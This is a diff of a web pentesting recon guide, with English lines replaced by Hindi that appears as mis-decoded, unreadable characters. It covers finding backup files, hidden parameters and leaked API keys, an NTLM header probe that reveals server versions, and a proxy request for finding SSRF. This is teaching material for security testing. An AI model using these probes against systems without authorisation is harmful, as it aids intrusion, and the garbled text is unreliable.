-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
-- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
+- [**uro**](https://github.com/s0md3v/uro) (python): рдпрд╣ spider рдирд╣реАрдВ рд╣реИ рдкрд░ рдПрдХ рдЯреВрд▓ рд╣реИ рдЬреЛ рдкрд╛рдП рдЧрдП URLs рдХреА рд╕реВрдЪреА рджреЗрдХрд░ "duplicated" URLs рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension рдЬреЛ burp history рд╕реЗ directories рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИред
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports рдХреЗ рдЖрдзрд╛рд░ рдкрд░ duplicated functionalities рд╡рд╛рд▓реЗ URLs рд╣рдЯрд╛рддрд╛ рд╣реИред
+- [**Chamaleon**](https://github.com/iustin24/chameleon): рдпрд╣ wapalyzer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ technologies рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рдФрд░ рддрдп рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХрд┐рди wordlists рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПред
**Recommended dictionaries:**
@@ -269,41 +268,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_рдиреЛрдЯ: рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдорд┐рд▓рддреА рд╣реИ, рдЙрд╕реЗ рддреБрд░рдВрдд Brute-Force рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред_
+_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм рднреА brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдирдпрд╛ directory рдЦреЛрдЬрд╛ рдЬрд╛рдП, рдЙрд╕реЗ рднреА Brute-Force рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред_
### What to check on each file found
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
-- **File Backups**: рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╕рднреА files рдЦреЛрдЬ рд▓рд┐рдП, рддреЛ рд╕рднреА executable files рдХреЗ backups рдЦреЛрдЬреЗрдВ ("_.php_", "_.aspx_"...). рдмреИрдХрдЕрдк рдирд╛рдо рджреЗрдиреЗ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╡реИрд░рд┐рдПрд╢рди рд╣реИрдВ: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ рдЖрдк [**bfac**](https://github.com/mazen160/bfac) **рдпрд╛** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-- **Discover new parameters**: рдЖрдк hidden parameters рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **рдФрд░** [**Param Miner**](https://github.com/PortSwigger/param-miner) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдВрднрд╡ рд╣реЛ рддреЛ рд╣рд░ executable web file рдкрд░ hidden parameters рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs рдХреЗ рдЕрдВрджрд░ broken links рдЦреЛрдЬреЗрдВ рдЬреЛ takeover рдХреЗ рд▓рд┐рдП рдкреНрд░рд╡рдг рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред
+- **File Backups**: рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдвреВрдБрдв рд▓реАрдВ, рддреЛ рд╕рднреА executable рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ backups рдЦреЛрдЬреЗрдВ ("_.php_", "_.aspx_"...). backup рдирд╛рдордХрд░рдг рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрд░рд┐рдПрдВрдЯ рд╣реИрдВ: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp рдФрд░ file.old._ рдЖрдк рдЯреВрд▓ [**bfac**](https://github.com/mazen160/bfac) **рдпрд╛** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+- **Discover new parameters**: рдЖрдк hidden parameters рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **рдФрд░** [**Param Miner**](https://github.com/PortSwigger/param-miner) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдкреНрд░рддреНрдпреЗрдХ executable web рдлрд╝рд╛рдЗрд▓ рдкрд░ hidden parameters рддрд▓рд╛рд╢реЗрдВред
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner тАЬparamsтАЭ :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote тАЬparameters_top_1mтАЭ:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de тАЬparams.txtтАЭ:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** рд╕рднреА files рдХреА comments рдЬрд╛рдБрдЪреЗрдВ; рдпрд╣рд╛рдБ рдЖрдкрдХреЛ **credentials** рдпрд╛ **hidden functionality** рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
-- рдЕрдЧрд░ рдЖрдк **CTF** рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЪрд╛рд▓ рдпрд╣ рд╣реИ рдХрд┐ рдкреЗрдЬ рдХреЗ рд╕реНрд░реЛрдд рдореЗрдВ comments рдХреЗ рджрд╛рдИрдВ рдУрд░ (рд╣рдЬрд╝рд╛рд░реЛрдВ spaces рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдЬрд╛рдирдХрд╛рд░реА **рдЫрд┐рдкрд╛рдИ** рдЬрд╛рдП рддрд╛рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕реЛрд░реНрд╕ рджреЗрдЦрдиреЗ рдкрд░ рд╡рд╣ рджрд┐рдЦрд╛рдИ рди рджреЗред рджреВрд╕рд░реА рд╕рдВрднрд╛рд╡рдирд╛ рдпрд╣ рд╣реИ рдХрд┐ рдХрдИ new lines рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреЗрдЬ рдХреЗ bottom рдореЗрдВ comment рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдЫрд┐рдкрд╛рдИ рдЬрд╛рдПред
-- **API keys**: рдЕрдЧрд░ рдЖрдк рдХреЛрдИ API key рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рд╡рд┐рднрд┐рдиреНрди platforms рдХреА API keys рдХреИрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЙрд╕ рдкрд░ рдорд╛рд░реНрдЧрджрд░реНрд╢рдХ рд╣реИрдВ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: рдЕрдЧрд░ рдЖрдк рдХреЛрдИ API key рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ **AIza** рд╕реЗ рд╢реБрд░реВ рд▓рдЧрддреА рд╣реИ рдЬреИрд╕реЗ SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, рддреЛ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ key рдХрд┐рди APIs рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИред
-- **S3 Buckets**: Spidering рдХрд░рддреЗ рд╕рдордп рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **subdomain** рдпрд╛ рдХреЛрдИ **link** рдХрд┐рд╕реА **S3 bucket** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдореЗрдВ, [**check** the **permissions** of the bucket](buckets/index.html).
+- **Comments:** рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ comments рдЪреЗрдХ рдХрд░реЗрдВ, рд╡рд╣рд╛рдБ рд╕реЗ рдЖрдкрдХреЛ **credentials** рдпрд╛ **hidden functionality** рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
+- рдпрджрд┐ рдЖрдк **CTF** рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ "common" trick рдпрд╣ рд╣реИ рдХрд┐ page рдХреЗ рджрд╛рдИрдВ рдУрд░ comments рдХреЗ рдЕрдВрджрд░ рдЬрд╛рдирдХрд╛рд░реА рдЫреБрдкрд╛ рджреА рдЬрд╛рдП (рд╕реИрдХрдбрд╝реЛрдВ spaces рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддрд╛рдХрд┐ browser рдореЗрдВ source рдЦреЛрд▓рддреЗ рд╕рдордп рдбреЗрдЯрд╛ рджрд┐рдЦрд╛рдИ рди рджреЗ)ред рдПрдХ рдФрд░ рд╕рдореНрднрд╡ рддрд░реАрдХрд╛ рд╣реИ рдХрдИ new lines рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ page рдХреЗ рдиреАрдЪреЗ comment рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдЫреБрдкрд╛рдирд╛ред
+- **API keys**: рдпрджрд┐ рдЖрдк рдХреЛрдИ API key рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рд╡рд┐рднрд┐рдиреНрди platforms рдХреА API keys рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ рдЗрд╕рдХрд╛ рдЧрд╛рдЗрдб рдореМрдЬреВрдж рд╣реИ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: рдпрджрд┐ рдЖрдкрдХреЛ рдХреЛрдИ API key рдЬреЛ AIza рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рджрд┐рдЦреЗ (рдЙрджрд╛. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) рддреЛ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ key рдХрд┐рди APIs рддрдХ access рдХрд░ рд╕рдХрддреА рд╣реИред
+- **S3 Buckets**: spidering рдХреЗ рджреМрд░рд╛рди рджреЗрдЦреЗрдВ рдХрд┐ рдХреЛрдИ **subdomain** рдпрд╛ рдХреЛрдИ **link** рдХрд┐рд╕реА **S3 bucket** рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
-**Spidering** рдФрд░ **brute-forcing** рдХрд░рддреЗ рд╕рдордп рдЖрдк рдХреБрдЫ **interesting** рдЪреАрдЬрд╝реЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред
+**spidering** рдФрд░ **brute-forcing** рдХрд░рддреЗ рд╕рдордп рдЖрдкрдХреЛ рдХреБрдЫ **interesting** **things** рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИред
**Interesting files**
-- CSS рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдЕрдиреНрдп files рдХреЗ **links** рджреЗрдЦреЗрдВред
-- [If you find a _**.git**_ file some information can be extracted](git.md)
-- рдЕрдЧрд░ рдЖрдкрдХреЛ _**.env**_ рдорд┐рд▓рддрд╛ рд╣реИ рддреЛ рдЙрд╕рдореЗрдВ api keys, dbs passwords рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
-- рдЕрдЧрд░ рдЖрдкрдХреЛ **API endpoints** рдорд┐рд▓рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ [should also test them](web-api-pentesting.md)ред рдпреЗ files рдирд╣реАрдВ рд╣реИрдВ, рдкрд░ рджрд┐рдЦрдиреЗ рдореЗрдВ рдЕрдХреНрд╕рд░ рдЙрдирдХреА рддрд░рд╣ рд▓рдЧрддреЗ рд╣реИрдВред
-- **JS files**: spidering рд╕реЗрдХреНрд╢рди рдореЗрдВ рдХрдИ tools рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдерд╛ рдЬреЛ JS files рд╕реЗ paths рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд╛рде рд╣реА, рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ рдХрд┐ рд╣рд░ рдкрд╛рдП рдЧрдП JS file рдХреА **monitoring** рдХреА рдЬрд╛рдП, рдХреНрдпреЛрдВрдХрд┐ рдХрднреА-рдХрднреА рдХрд┐рд╕реА JS рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ code рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд vulnerability рдЖрдИ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк [**JSMon**](https://github.com/robre/jsmon)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред**
-- рдЖрдк рдкрд╛рдП рдЧрдП JS files рдХреЛ vulnerable рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП [**RetireJS**](https://github.com/retirejs/retire.js/) рдпрд╛ [**JSHole**](https://github.com/callforpapers-source/jshole) рд╕реЗ рднреА рдЪреЗрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+- CSS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП **links** рдЦреЛрдЬреЗрдВред
+- [рдпрджрд┐ рдЖрдк _**.git**_ рдлрд╝рд╛рдЗрд▓ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИ](git.md)
+- рдпрджрд┐ рдЖрдк _**.env**_ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЙрд╕рдореЗрдВ api keys, dbs passwords рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
+- рдпрджрд┐ рдЖрдк **API endpoints** рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рдЙрдиреНрд╣реЗрдВ [test рднреА рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП](web-api-pentesting.md)ред рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдирд╣реАрдВ рд╣реИрдВ, рдкрд░ рдЕрдХреНрд╕рд░ "рдлрд╝рд╛рдЗрд▓реЛрдВ рдЬреИрд╕рд╛" рджрд┐рдЦрддреЗ рд╣реИрдВред
+- **JS files**: spidering рд╕реЗрдХреНрд╢рди рдореЗрдВ рдХрдИ tools рдмрддрд╛рдП рдЧрдП рдереЗ рдЬреЛ JS рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ path рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдпрд╣ рд░реБрдЪрд┐рдХрд░ рд╣реЛрдЧрд╛ рдХрд┐ рдкрд╛рдП рдЧрдП рд╣рд░ JS рдлрд╝рд╛рдЗрд▓ рдкрд░ рдирд┐рдЧрд░рд╛рдиреА рд░рдЦреЗрдВ, рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ code рдореЗрдВ рдХреЛрдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerability рдЖ рдЧрдИ рд╣реИред рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**JSMon**](https://github.com/robre/jsmon) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+- рдЖрдкрдХреЛ рдкрд╛рдП рдЧрдП JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ [**RetireJS**](https://github.com/retirejs/retire.js/) рдпрд╛ [**JSHole**](https://github.com/callforpapers-source/jshole) рд╕реЗ рднреА рдЪреЗрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рд╡реЗ vulnerable рд╣реИрдВред
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- рдХрдИ рдореМрдХреЛрдВ рдкрд░, рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП regular expressions рдХреЛ рд╕рдордЭрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛: [https://regex101.com/](https://regex101.com) рдпрд╛ [https://pythonium.net/regex](https://pythonium.net/regex)
-- рдЖрдк рдЙрди files рдХреА рднреА monitoring рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ forms detect рд╣реБрдП рдереЗ, рдХреНрдпреЛрдВрдХрд┐ parameters рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╛ рдирдП form рдХреА рджрд┐рдЦрд╛рд╡рдЯ рдХрд┐рд╕реА рдирдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerable functionality рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИред
+- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- рдХрдИ рдореМрдХреЛрдВ рдкрд░ рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП regular expressions рдХреЛ рд╕рдордЭрдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝реЗрдЧреАред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛: [https://regex101.com/](https://regex101.com) рдпрд╛ [https://pythonium.net/regex](https://pythonium.net/regex)
+- рдЖрдк рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ forms detect рд╣реБрдП рдереЗ, рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА parameter рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╛ рдХрд┐рд╕реА рдирдП form рдХрд╛ рдЖрдирд╛ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдирдП vulnerable functionality рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИред
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@@ -314,28 +313,28 @@ _рдиреЛрдЯ: рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spi
**502 Proxy Error**
-рдпрджрд┐ рдХрд┐рд╕реА рдкреЗрдЬ рдХрд╛ response рдЙрд╕ **code** рдХреЗ рд╕рд╛рде рдЖрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡рддрдГ рдЧрд▓рдд configured proxy рд╣реИред рдпрджрд┐ рдЖрдк рдРрд╕рд╛ HTTP request рднреЗрдЬрддреЗ рд╣реИрдВ: `GET https://google.com HTTP/1.1` (host header рдФрд░ рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп headers рдХреЗ рд╕рд╛рде), рддреЛ proxy _**google.com**_ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ рдФрд░ рдЖрдк рдПрдХ **SSRF** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
+рдпрджрд┐ рдХреЛрдИ рдкреЗрдЬ рдЙрд╕ code рдХреЗ рд╕рд╛рде respond рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╡рддрдГ рдпрд╣ рдПрдХ badly configured proxy рд╣реИред **рдпрджрд┐ рдЖрдк рдПрдХ HTTP request рднреЗрдЬрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: `GET https://google.com HTTP/1.1`** (host header рдФрд░ рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп headers рдХреЗ рд╕рд╛рде), рддреЛ **proxy** рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдЧрд╛ _**google.com**_ **рдХреЛ access рдХрд░рдиреЗ рдХреА рдФрд░ рдЖрдкрдиреЗ рдПрдХ** SSRF **рдвреВрдБрдв рд▓рд┐рдпрд╛ рд╣реЛрдЧрд╛ред**
**NTLM Authentication - Info disclosure**
-рдпрджрд┐ running server authentication рдорд╛рдБрдЧ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╡рд╣ **Windows** рд╣реИ рдпрд╛ рдЖрдк рдХреЛрдИ login рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЗ **credentials** рдорд╛рдБрдЧрддрд╛ рд╣реИ (рдФрд░ **domain** рдирд╛рдо рдорд╛рдБрдЧрддрд╛ рд╣реИ), рддреЛ рдЖрдк **information disclosure** рдХрд░рд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВред\
-**Send** the **header**: `тАЬAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=тАЭ` рдФрд░ NTLM authentication рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, server internal info (IIS version, Windows version...) рдХреЛ header "WWW-Authenticate" рдореЗрдВ return рдХрд░реЗрдЧрд╛ред\
-рдЖрдк рдЗрд╕реЗ рдСрдЯреЛрдореЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **nmap plugin** "_http-ntlm-info.nse_" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рдпрджрд┐ running server authentication рдорд╛рдБрдЧ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╡рд╣ **Windows** рд╣реИ рдпрд╛ рдЖрдк рдХреЛрдИ login рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреА **credentials** рдорд╛рдБрдЧрддрд╛ рд╣реИ (рдФрд░ **domain** **name** рдорд╛рдБрдЧрддрд╛ рд╣реИ), рддреЛ рдЖрдк рдПрдХ **information disclosure** provoke рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\
+**Send** рдпрд╣ **header**: `тАЬAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=тАЭ` рдФрд░ NTLM authentication рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдХрд╛рд░рдг, server header "WWW-Authenticate" рдХреЗ рдЕрдВрджрд░ internal info (IIS version, Windows version...) рдХреЗ рд╕рд╛рде respond рдХрд░реЗрдЧрд╛ред\
+рдЖрдк рдЗрд╕реЗ automate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **nmap plugin** "_http-ntlm-info.nse_" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
**HTTP Redirect (CTF)**
-Redirection рдореЗрдВ content рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ content user рдХреЛ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ (рдХреНрдпреЛрдВрдХрд┐ browser redirection execute рдХрд░ рджреЗрддрд╛ рд╣реИ) рдкрд░ рд╡рд╣рд╛рдБ рдХреБрдЫ рдЫрд┐рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+Redirection рдХреЗ рдЕрдВрджрд░ content рд░рдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрд╣ content user рдХреЛ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрдЧрд╛ (рдХреНрдпреЛрдВрдХрд┐ browser redirection execute рдХрд░реЗрдЧрд╛) рдкрд░ рдХреБрдЫ рдЪреАрдЬрд╝реЗрдВ рд╡рд╣рд╛рдБ рдЫреБрдкреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВред
### Web Vulnerabilities Checking
-рдЕрдм рдЬрдм web application рдХрд╛ рд╡реНрдпрд╛рдкрдХ enumeration рдХрд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХрдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerabilities рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдЖрдк checklist рдпрд╣рд╛рдБ рдкрд╛рдПрдБрдЧреЗ:
